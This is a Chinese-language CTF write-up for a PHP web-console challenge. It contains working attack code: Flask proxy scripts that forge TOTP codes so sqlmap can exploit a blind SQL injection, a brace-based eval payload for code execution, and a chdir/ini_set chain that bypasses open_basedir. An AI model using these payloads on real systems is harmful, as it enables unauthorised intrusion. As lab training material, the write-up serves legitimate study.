这题卡了好久。换浏览器也不行。只能敲ls命令。其他都是TOTP ERROR
今天偶然把buu的Flash啥的权限全开了。突然就正常了
进入正题:
ls发现有个usage.md
发现有几个操作
login [username] [password]
logout
launch
targeting [code] [position]
destruct
发现后面几个命令。都得登陆才能用。
开始对login测试
貌似存在布尔盲注
请求如下
GET /shell.php?a=login 1 1&totp=96030695
不知道这个TOTP是啥。搜下
TOTP算法是一种从共享密钥和当前时间计算一次性密码的算法
TOTP是基于散列的消息认证码(HMAC)的示例。 它使用加密哈希函数将密钥与当前时间戳组合在一起以生成一次性密码。 由于网络延迟和不同步时钟可能导致密码接收者必须尝试一系列可能的时间来进行身份验证,因此时间戳通常以30秒的间隔增加,从而减少了潜在的搜索空间。
简单来说就是以时间戳+密钥的算法。用于验证
如果对不上。那么这个请求就失效。。
在js/main.js中。我们得到了这个算法的密钥。以及一些参数
url: host + '/shell.php?a=ls&totp=' + new TOTP("GAXG24JTMZXGKZBU",8).genOTP()
这里看了下WP。大佬们tql。直接flaks转发流量。sqlmap一把梭
import pyotp
import requests
from flask import Flask
app=Flask(__name__)
totp=pyotp.TOTP('GAXG24JTMZXGKZBU',digits=8,interval=5)
s=requests.session()
@app.route('/username=<username>')
def hack(username):
url='http://1384eca1-f6f6-4649-87a5-46315b4f8f88.node3.buuoj.cn/shell.php'
username=(username).replace(' ','/**/')
params={
'a':'login {} admin'.format(username),
'totp':totp.now()
}
res = s.get(url,params=params)
return res.content
app.run(debug=True,host='0.0.0.0')
sqlmap 得到admin hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}
登陆后。继续测试之前没权限的功能
貌似是个代码执行。猜测后台是eval("$a='test';")
这时候能想到。php有个动态执行函数。
试一下。发现真的执行成功了。。
HTML本地打开后。发现有disable_funciton和open_basedir
尝试绕过open_basedir.
但是输入长度有限制。。。。。那么我们可以${eval($_GET[1])}
这样。
payload还是长。并且不能出现[]
。我们可以用{}
绕过
payload长。我们用变量去绕
$a="phpinfo";
eval("$b=${$a()};");
那么我们就可以构造一句话
$a="{$_GET{w}}";
eval("$b=${eval($a)};");
php会把{}中 当作是代码处理获取返回值。也就是说。{$_GET[w]}==$_GET[w]的值。
然后进入eval就成了
${eval("phpinfo();")}
然后{}中继续执行。实质上就是$TRUE
观察请求。也是要加上totp的。拿前面的脚本小改下
import pyotp
import requests
import string
from flask import Flask,request
app=Flask(__name__)
totp=pyotp.TOTP('GAXG24JTMZXGKZBU',digits=8,interval=5)
s=requests.session()
fuzz=string.printable
@app.route('/username=<username>')
def hack(username):
url='http://836c480a-7590-4355-a14f-ce8500cbb640.node3.buuoj.cn/shell.php?a='+username+'&totp='+totp.now()+"&1=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('.'));"
print(url)
res = s.get(url)
return res.content
app.run(debug=True,host='0.0.0.0')
执行前。用destruct。清空定义的命令。